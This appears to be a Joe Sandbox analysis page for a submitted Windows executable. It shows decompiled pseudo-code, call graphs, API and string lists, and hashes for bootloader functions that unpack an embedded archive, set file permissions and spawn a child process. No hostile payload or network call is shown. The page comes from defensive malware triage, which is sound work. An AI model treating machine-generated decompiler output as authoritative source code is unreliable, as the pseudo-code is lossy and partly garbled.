                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLastPrivilegeReleaseTimeZone
                                                                                                                              • String ID: Pacific Daylight Time$Pacific Standard Time
                                                                                                                              • API String ID: 1182710636-1154798116
                                                                                                                              • Opcode ID: 44d88b89ed70ac353ea7a5ca16a931002f6058608950c07906c59c6ab1c99665
                                                                                                                              • Instruction ID: 0bcb15a6e707eba9853e317cfcc5c56de925f2ef466c3ee07c73118696121731
                                                                                                                              • Opcode Fuzzy Hash: 44d88b89ed70ac353ea7a5ca16a931002f6058608950c07906c59c6ab1c99665
                                                                                                                              • Instruction Fuzzy Hash: F2515B32A086538AF715FF21A8805ADA760BB98788FC44177EE4D83697DF3CE4518760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7790 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$CloseFileFirst
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2295610775-0
                                                                                                                              • Opcode ID: aaa1e90f7c8ce310ed5e71df168ae59e968dd583b4c87b9c233c193ef6986b6c
                                                                                                                              • Instruction ID: 949b71c2cfa00ef7bffd4edc03bbde1dc9d3bbde27af0cf827a98616833cb483
                                                                                                                              • Opcode Fuzzy Hash: aaa1e90f7c8ce310ed5e71df168ae59e968dd583b4c87b9c233c193ef6986b6c
                                                                                                                              • Instruction Fuzzy Hash: 87F086229186428BFBA19F64E445769F350BB84724FC40636D96D026D5DF3CD0598B10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAE40 Relevance: 3.0, APIs: 2, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 74%
                                                                                                                              			E00007FF77FF7DA8DAE40(intOrPtr* __rax, long long __rbx, void* __r8, long long _a8) {
				char _v24;
				void* _t9;
				void* _t10;
				void* _t11;
				signed short _t21;
				void* _t23;
				void* _t27;
				intOrPtr _t37;
				intOrPtr* _t56;
				intOrPtr* _t57;
				void* _t70;

				_t58 = __rbx;
				_t56 = __rax;
				E00007FF77FF7DA8DB7E0(); // executed
				SetUnhandledExceptionFilter(??);
				goto 0xda8e8a44;
				asm("int3");
				asm("int3");
				asm("int3");
				_a8 = __rbx;
				_t9 = E00007FF77FF7DA8DB2CC(1); // executed
				if (_t9 == 0) goto 0xda8dafa8;
				dil = 0;
				_v24 = dil;
				_t10 = E00007FF77FF7DA8DB290();
				_t37 =  *0xda91c560; // 0x2
				if (_t37 == 1) goto 0xda8dafb3;
				if (_t37 != 0) goto 0xda8daee4;
				 *0xda91c560 = 1;
				_t11 = E00007FF77FF7DA8E85C4(__rbx, 0xda8fa468, 0xda8fa4a8); // executed
				if (_t11 == 0) goto 0xda8daec5;
				goto 0xda8daf9d;
				E00007FF77FF7DA8E8580(_t58, 0xda8fa450, 0xda8fa460); // executed
				 *0xda91c560 = 2;
				goto 0xda8daeec;
				dil = 1;
				_v24 = dil;
				E00007FF77FF7DA8DB5E4(E00007FF77FF7DA8DB43C(_t10, 0xda8fa460));
				if ( *_t56 == 0) goto 0xda8daf1f;
				if (E00007FF77FF7DA8DB3A4(_t56, _t56) == 0) goto 0xda8daf1f;
				r8d = 0;
				_t57 =  *_t56;
				E00007FF77FF7DA8DB5EC( *0xda8fa428(_t70));
				if ( *_t57 == 0) goto 0xda8daf41;
				if (E00007FF77FF7DA8DB3A4(_t57, _t57) == 0) goto 0xda8daf41;
				E00007FF77FF7DA8E88D4( *_t57);
				_t21 = E00007FF77FF7DA8DB748(0xda8fa460);
				E00007FF77FF7DA8E852C();
				r9d = _t21 & 0x0000ffff;
				_t78 = _t57;
				_t23 = E00007FF77FF7DA8D1000(_t57); // executed
				if (E00007FF77FF7DA8DB78C(_t57) == 0) goto 0xda8dafbd;
				if (dil != 0) goto 0xda8daf77;
				E00007FF77FF7DA8E88B8(0x7ff7da8d0000, 0xda8fa460, _t57);
				E00007FF77FF7DA8DB460(1, 0);
				_t27 = _t23;
				if (E00007FF77FF7DA8DB78C(_t57) == 0) goto 0xda8dafc5;
				if (_v24 != 0) goto 0xda8daf9b;
				E00007FF77FF7DA8E88A8(0x7ff7da8d0000, 0xda8fa460, _t78);
				return _t27;
			}














                                                                                                                              0x7ff7da8dae40
                                                                                                                              0x7ff7da8dae40
                                                                                                                              0x7ff7da8dae44
                                                                                                                              0x7ff7da8dae49
                                                                                                                              0x7ff7da8dae54
                                                                                                                              0x7ff7da8dae59
                                                                                                                              0x7ff7da8dae5a
                                                                                                                              0x7ff7da8dae5b
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae6b
                                                                                                                              0x7ff7da8dae72
                                                                                                                              0x7ff7da8dae78
                                                                                                                              0x7ff7da8dae7b
                                                                                                                              0x7ff7da8dae80
                                                                                                                              0x7ff7da8dae87
                                                                                                                              0x7ff7da8dae90
                                                                                                                              0x7ff7da8dae98
                                                                                                                              0x7ff7da8dae9a
                                                                                                                              0x7ff7da8daeb2
                                                                                                                              0x7ff7da8daeb9
                                                                                                                              0x7ff7da8daec0
                                                                                                                              0x7ff7da8daed3
                                                                                                                              0x7ff7da8daed8
                                                                                                                              0x7ff7da8daee2
                                                                                                                              0x7ff7da8daee4
                                                                                                                              0x7ff7da8daee7
                                                                                                                              0x7ff7da8daef3
                                                                                                                              0x7ff7da8daeff
                                                                                                                              0x7ff7da8daf0b
                                                                                                                              0x7ff7da8daf0d
                                                                                                                              0x7ff7da8daf16
                                                                                                                              0x7ff7da8daf1f
                                                                                                                              0x7ff7da8daf2b
                                                                                                                              0x7ff7da8daf37
                                                                                                                              0x7ff7da8daf3c
                                                                                                                              0x7ff7da8daf41
                                                                                                                              0x7ff7da8daf49
                                                                                                                              0x7ff7da8daf4e
                                                                                                                              0x7ff7da8daf51
                                                                                                                              0x7ff7da8daf5d
                                                                                                                              0x7ff7da8daf6b
                                                                                                                              0x7ff7da8daf70
                                                                                                                              0x7ff7da8daf72
                                                                                                                              0x7ff7da8daf7b
                                                                                                                              0x7ff7da8daf80
                                                                                                                              0x7ff7da8daf8d
                                                                                                                              0x7ff7da8daf94
                                                                                                                              0x7ff7da8daf96
                                                                                                                              0x7ff7da8dafa7

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 59578552-0
                                                                                                                              • Opcode ID: 41e9a32394b2b47377862a5720a33bb80c0e77fc514b686da979f7caaa2f6200
                                                                                                                              • Instruction ID: e907f0bfa4647146e50ff27059062b69f084d159d0509ebf60a1d0cb41e0a547
                                                                                                                              • Opcode Fuzzy Hash: 41e9a32394b2b47377862a5720a33bb80c0e77fc514b686da979f7caaa2f6200
                                                                                                                              • Instruction Fuzzy Hash: 42E0E630E5D143CAF91A7765484207CA4513F65320FE401FBD52D852C3DD5E66B15772
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D17B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 18%
                                                                                                                              			E00007FF77FF7DA8D17B0(long long __rbx, signed long long* __rcx, long long _a16) {
				signed int _v16;
				char _v21;
				unsigned long long _v24;
				void* __rdi;
				void* _t40;
				void* _t43;
				intOrPtr _t51;
				intOrPtr _t69;
				signed long long _t84;
				signed long long _t85;
				unsigned long long _t86;
				unsigned long long _t87;
				intOrPtr* _t90;
				long long* _t93;
				void* _t102;
				void* _t110;
				char* _t118;
				void* _t124;
				unsigned long long _t125;
				long long _t127;
				void* _t128;
				void* _t131;
				void* _t132;

				_a16 = __rbx;
				_t84 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t85 = _t84 ^ _t128 - 0x00000030;
				_v16 = _t85;
				_t93 = __rcx;
				if ( *__rcx != 0) goto 0xda8d17ef;
				_t3 = _t93 + 0x78; // 0x78
				_t40 = E00007FF77FF7DA8D3C90(_t85, _t3, "rb"); // executed
				 *__rcx = _t85;
				if (_t85 == 0) goto 0xda8d1842;
				_t86 = "MEI"; // 0xe0b0a0b0049454d
				_v24 = _t86;
				r8d = 8;
				_t87 = _t86 >> 0x18;
				_v21 = _t40 + 0xc;
				E00007FF77FF7DA8D7170(_t87, __rcx, _t85,  &_v24, _t124, _t131); // executed
				_t125 = _t87;
				if (_t87 == 0) goto 0xda8d1842;
				r8d = 0;
				_t43 = E00007FF77FF7DA8DF884(_t87, _t93,  *_t93, _t125); // executed
				if (_t43 >= 0) goto 0xda8d184c;
				_t118 = "Failed to seek to cookie position!\n";
				E00007FF77FF7DA8D24D0(_t43, _t87, "fseek", _t118, _t131, _t132);
				goto 0xda8d19b3;
				_t8 = _t118 - 0x57; // 0x1, executed
				r8d = _t8;
				E00007FF77FF7DA8DF54C(_t118, _t131,  *_t93); // executed
				if (_t87 - 1 >= 0) goto 0xda8d1884;
				_t102 = "fread";
				E00007FF77FF7DA8D24D0(_t87 - 1, _t87, _t102, "Failed to read cookie!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				r8d = 0;
				asm("bswap eax");
				asm("bswap eax");
				_t51 =  *((intOrPtr*)(_t93 + 0x34));
				asm("bswap ecx");
				asm("bswap eax");
				_t127 = _t125 - _t102 + 0x58;
				 *((intOrPtr*)(_t93 + 0x34)) = _t51;
				 *((long long*)(_t93 + 8)) = _t127;
				 *((intOrPtr*)(_t93 + 0x507c)) = 0;
				 *0xda90dc74 = _t51;
				E00007FF77FF7DA8DF884(_t87, _t93,  *_t93, _t127); // executed
				0xda8e4000();
				 *(_t93 + 0x10) = _t87;
				if (_t87 != 0) goto 0xda8d18fe;
				E00007FF77FF7DA8D24D0(_t87, _t87, "malloc", "Could not allocate buffer for TOC!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				r8d = 1;
				E00007FF77FF7DA8DF54C( *((intOrPtr*)(_t93 + 0x30)), _t131,  *_t93);
				if (_t87 - 1 >= 0) goto 0xda8d1925;
				goto 0xda8d186e;
				 *((long long*)(_t93 + 0x18)) =  *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10);
				if (E00007FF77FF7DA8DF2C0( *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10),  *_t93) == 0) goto 0xda8d1950;
				E00007FF77FF7DA8D2770( *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10), "Error on file.\n", "Could not read full TOC!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				_t90 =  *(_t93 + 0x10);
				if (_t90 -  *((intOrPtr*)(_t93 + 0x18)) >= 0) goto 0xda8d19a1;
				asm("o16 nop [eax+eax]");
				_t69 =  *_t90;
				asm("bswap ecx");
				asm("bswap ecx");
				asm("bswap ecx");
				asm("bswap edx");
				 *_t90 = _t69;
				_t110 = _t69 + _t90;
				if (_t110 -  *(_t93 + 0x10) < 0) goto 0xda8d1995;
				if (_t110 -  *((intOrPtr*)(_t93 + 0x18)) < 0) goto 0xda8d1960;
				goto 0xda8d19a1;
				E00007FF77FF7DA8D2770(_t110, "Cannot read Table of Contents.\n", "Could not read full TOC!\n", _t131,  *_t93);
				if ( *_t93 == 0) goto 0xda8d19b1; // executed
				E00007FF77FF7DA8DF1FC(_t110, _t93,  *_t93, _t127); // executed
				 *_t93 = _t127;
				return E00007FF77FF7DA8DACF0(0,  *((intOrPtr*)(_t90 + 0xc)), _v16 ^ _t128 - 0x00000030);
			}


























                                                                                                                              0x7ff7da8d17b0
                                                                                                                              0x7ff7da8d17ba
                                                                                                                              0x7ff7da8d17c1
                                                                                                                              0x7ff7da8d17c4
                                                                                                                              0x7ff7da8d17c9
                                                                                                                              0x7ff7da8d17d2
                                                                                                                              0x7ff7da8d17d4
                                                                                                                              0x7ff7da8d17df
                                                                                                                              0x7ff7da8d17e4
                                                                                                                              0x7ff7da8d17ed
                                                                                                                              0x7ff7da8d17ef
                                                                                                                              0x7ff7da8d17fb
                                                                                                                              0x7ff7da8d1800
                                                                                                                              0x7ff7da8d1806
                                                                                                                              0x7ff7da8d180c
                                                                                                                              0x7ff7da8d1810
                                                                                                                              0x7ff7da8d1815
                                                                                                                              0x7ff7da8d181b
                                                                                                                              0x7ff7da8d1820
                                                                                                                              0x7ff7da8d1826
                                                                                                                              0x7ff7da8d182d
                                                                                                                              0x7ff7da8d182f
                                                                                                                              0x7ff7da8d183d
                                                                                                                              0x7ff7da8d1847
                                                                                                                              0x7ff7da8d1858
                                                                                                                              0x7ff7da8d1858
                                                                                                                              0x7ff7da8d185c
                                                                                                                              0x7ff7da8d1865
                                                                                                                              0x7ff7da8d186e
                                                                                                                              0x7ff7da8d1875
                                                                                                                              0x7ff7da8d187f
                                                                                                                              0x7ff7da8d1887
                                                                                                                              0x7ff7da8d188d
                                                                                                                              0x7ff7da8d1895
                                                                                                                              0x7ff7da8d189a
                                                                                                                              0x7ff7da8d189d
                                                                                                                              0x7ff7da8d18a7
                                                                                                                              0x7ff7da8d18a9
                                                                                                                              0x7ff7da8d18ad
                                                                                                                              0x7ff7da8d18b0
                                                                                                                              0x7ff7da8d18b6
                                                                                                                              0x7ff7da8d18bc
                                                                                                                              0x7ff7da8d18cc
                                                                                                                              0x7ff7da8d18d5
                                                                                                                              0x7ff7da8d18da
                                                                                                                              0x7ff7da8d18e1
                                                                                                                              0x7ff7da8d18f1
                                                                                                                              0x7ff7da8d18f9
                                                                                                                              0x7ff7da8d1902
                                                                                                                              0x7ff7da8d190e
                                                                                                                              0x7ff7da8d1917
                                                                                                                              0x7ff7da8d1920
                                                                                                                              0x7ff7da8d1930
                                                                                                                              0x7ff7da8d193b
                                                                                                                              0x7ff7da8d1944
                                                                                                                              0x7ff7da8d194e
                                                                                                                              0x7ff7da8d1950
                                                                                                                              0x7ff7da8d1958
                                                                                                                              0x7ff7da8d195a
                                                                                                                              0x7ff7da8d1963
                                                                                                                              0x7ff7da8d1965
                                                                                                                              0x7ff7da8d196d
                                                                                                                              0x7ff7da8d1975
                                                                                                                              0x7ff7da8d197a
                                                                                                                              0x7ff7da8d197c
                                                                                                                              0x7ff7da8d1981
                                                                                                                              0x7ff7da8d198b
                                                                                                                              0x7ff7da8d1991
                                                                                                                              0x7ff7da8d1993
                                                                                                                              0x7ff7da8d199c
                                                                                                                              0x7ff7da8d19a7
                                                                                                                              0x7ff7da8d19a9
                                                                                                                              0x7ff7da8d19ae
                                                                                                                              0x7ff7da8d19ca

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _fread_nolock$Message_invalid_parameter_noinfo
                                                                                                                              • String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
                                                                                                                              • API String ID: 2153230061-4158440160
                                                                                                                              • Opcode ID: 7bb382748f2785d6775414b66a3ba205b8fc888bdbd73f960dbf91cd75aa2d63
                                                                                                                              • Instruction ID: 6aac1e66fc88cc3e3ba7810b3fd081368aa974dcec832ee59b3fd5f1791c9f16
                                                                                                                              • Opcode Fuzzy Hash: 7bb382748f2785d6775414b66a3ba205b8fc888bdbd73f960dbf91cd75aa2d63
                                                                                                                              • Instruction Fuzzy Hash: 48513D72A096028AFF56EF24D49017CA3A1FF88B58BD98576DD0D83396DF3CE5608750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 53 7ff7da8d1440-7ff7da8d1457 call 7ff7da8d6700 56 7ff7da8d1462-7ff7da8d1485 call 7ff7da8d6a20 53->56 57 7ff7da8d1459-7ff7da8d1461 53->57 60 7ff7da8d14a7-7ff7da8d14ad 56->60 61 7ff7da8d1487-7ff7da8d14a2 call 7ff7da8d24d0 56->61 63 7ff7da8d14af-7ff7da8d14ba call 7ff7da8d3c90 60->63 64 7ff7da8d14e0-7ff7da8d14f4 call 7ff7da8df884 60->64 69 7ff7da8d1635-7ff7da8d1647 61->69 70 7ff7da8d14bf-7ff7da8d14c5 63->70 71 7ff7da8d1516-7ff7da8d151a 64->71 72 7ff7da8d14f6-7ff7da8d1511 call 7ff7da8d24d0 64->72 70->64 73 7ff7da8d14c7-7ff7da8d14db call 7ff7da8d2770 70->73 75 7ff7da8d1534-7ff7da8d1554 call 7ff7da8e4000 71->75 76 7ff7da8d151c-7ff7da8d1528 call 7ff7da8d1050 71->76 82 7ff7da8d1617-7ff7da8d161d 72->82 73->82 87 7ff7da8d1575-7ff7da8d157b 75->87 88 7ff7da8d1556-7ff7da8d1570 call 7ff7da8d24d0 75->88 83 7ff7da8d152d-7ff7da8d152f 76->83 85 7ff7da8d161f call 7ff7da8df1fc 82->85 86 7ff7da8d162b-7ff7da8d162e call 7ff7da8df1fc 82->86 83->82 96 7ff7da8d1624 85->96 97 7ff7da8d1633 86->97 89 7ff7da8d1605-7ff7da8d1608 call 7ff7da8e3fec 87->89 90 7ff7da8d1581-7ff7da8d1586 87->90 99 7ff7da8d160d-7ff7da8d1612 88->99 89->99 95 7ff7da8d1590-7ff7da8d15b2 call 7ff7da8df54c 90->95 102 7ff7da8d15b4-7ff7da8d15cc call 7ff7da8dfc8c 95->102 103 7ff7da8d15e5-7ff7da8d15ec 95->103 96->86 97->69 99->82 108 7ff7da8d15d5-7ff7da8d15e3 102->108 109 7ff7da8d15ce-7ff7da8d15d1 102->109 105 7ff7da8d15f3-7ff7da8d15fb call 7ff7da8d24d0 103->105 112 7ff7da8d1600 105->112 108->105 109->95 111 7ff7da8d15d3 109->111 111->112 112->89
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8D1440(void* __rcx, void* __rdx) {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t5;
				void* _t9;
				void* _t10;

				_t1 = E00007FF77FF7DA8D6700(_t2, _t3, _t5, __rcx, _t9, _t10); // executed
				if (_t1 != 0xffffffff) goto 0xda8d1462;
				return _t1;
			}









                                                                                                                              0x7ff7da8d144f
                                                                                                                              0x7ff7da8d1457
                                                                                                                              0x7ff7da8d1461

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                              • API String ID: 0-666925554
                                                                                                                              • Opcode ID: 986025e21c177242ba703baca0f1e812dfac8494b3ab6e968003ecb85309cb59
                                                                                                                              • Instruction ID: f6d685693745667565604d7d7fa85439620feabb7355ab393b37040e73eb1ef2
                                                                                                                              • Opcode Fuzzy Hash: 986025e21c177242ba703baca0f1e812dfac8494b3ab6e968003ecb85309cb59
                                                                                                                              • Instruction Fuzzy Hash: BE518A61B0864389FE12BB11E4006BDE361BF55BA4FC849B3DE1D476D7EE2CE5658320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7810 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
                                                                                                                              • String ID: D:(A;;FA;;;%s)$S-1-3-4
                                                                                                                              • API String ID: 4998090-2855260032
                                                                                                                              • Opcode ID: 65d94a69081515f26e8bc9efcd43c7fc9d065871b89001ad1bbc68354557f638
                                                                                                                              • Instruction ID: d8a93cd9a32f860a230678db6524784bf4b175b6c7ca4aa4eb55c35e39090a53
                                                                                                                              • Opcode Fuzzy Hash: 65d94a69081515f26e8bc9efcd43c7fc9d065871b89001ad1bbc68354557f638
                                                                                                                              • Instruction Fuzzy Hash: 45417131A1868386FA11AF10E4446AEF360FB847A4FC40672EE5E47696DF3CE559C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84processsynchronizationCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 38%
                                                                                                                              			E00007FF77FF7DA8D6F50(void* __rax, long long __rbx, void* __rcx, long long _a16, short _a24, intOrPtr _a32, long long _a40, long long _a48, long long _a56, long long _a64, intOrPtr _a72, char _a80, long long _a88, short _a96, char _a104, char _a136, long long _a144, intOrPtr _a196, short _a200, signed long long _a216, signed long long _a224, signed long long _a232, char _a248, signed int _a8440, void* _a8480) {
				int _t47;
				signed long long _t67;
				signed long long _t68;
				long long _t90;
				void* _t91;
				void* _t92;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;

				_a16 = __rbx;
				E00007FF77FF7DA8DAD20(0x2110, __rax, _t98, _t99);
				_t67 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t68 = _t67 ^ _t92 - __rax;
				_a8440 = _t68;
				_a72 = 0;
				r8d = 0x1000;
				E00007FF77FF7DA8D79A0(_t68, __rbx,  &_a248, __rcx, _t91, _t95);
				SetConsoleCtrlHandler(??, ??); // executed
				_a80 = 0x18;
				_a88 = _t90;
				_a96 = 1;
				GetStartupInfoW(??);
				asm("xorps xmm0, xmm0");
				_a144 = _t90;
				asm("movdqa [esp+0xa0], xmm0");
				_a196 = 0x101;
				_a200 = 1;
				E00007FF77FF7DA8E41C0(0, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_a216 = _t68;
				E00007FF77FF7DA8E41C0(1, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_t14 = _t90 + 2; // 0x2
				_a224 = _t68;
				E00007FF77FF7DA8E41C0(_t14, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_a232 = _t68;
				GetCommandLineW();
				r9d = 0;
				_a64 =  &_a104;
				_a56 =  &_a136;
				_a48 = _t90;
				_a40 = _t90;
				_a32 = 0;
				_a24 = 1;
				_t47 = CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				if (_t47 == 0) goto 0xda8d70b8;
				WaitForSingleObject(??, ??);
				GetExitCodeProcess(??, ??); // executed
				goto 0xda8d70d0;
				E00007FF77FF7DA8D2620(_t47,  &_a136, "CreateProcessW", "Error creating child process!\n",  &_a80, _t97);
				return E00007FF77FF7DA8DACF0(0xffffffff, _t44, _a8440 ^ _t92 - __rax);
			}













                                                                                                                              0x7ff7da8d6f50
                                                                                                                              0x7ff7da8d6f5b
                                                                                                                              0x7ff7da8d6f63
                                                                                                                              0x7ff7da8d6f6a
                                                                                                                              0x7ff7da8d6f6d
                                                                                                                              0x7ff7da8d6f82
                                                                                                                              0x7ff7da8d6f86
                                                                                                                              0x7ff7da8d6f8c
                                                                                                                              0x7ff7da8d6f9f
                                                                                                                              0x7ff7da8d6fad
                                                                                                                              0x7ff7da8d6fb5
                                                                                                                              0x7ff7da8d6fba
                                                                                                                              0x7ff7da8d6fbe
                                                                                                                              0x7ff7da8d6fc4
                                                                                                                              0x7ff7da8d6fc7
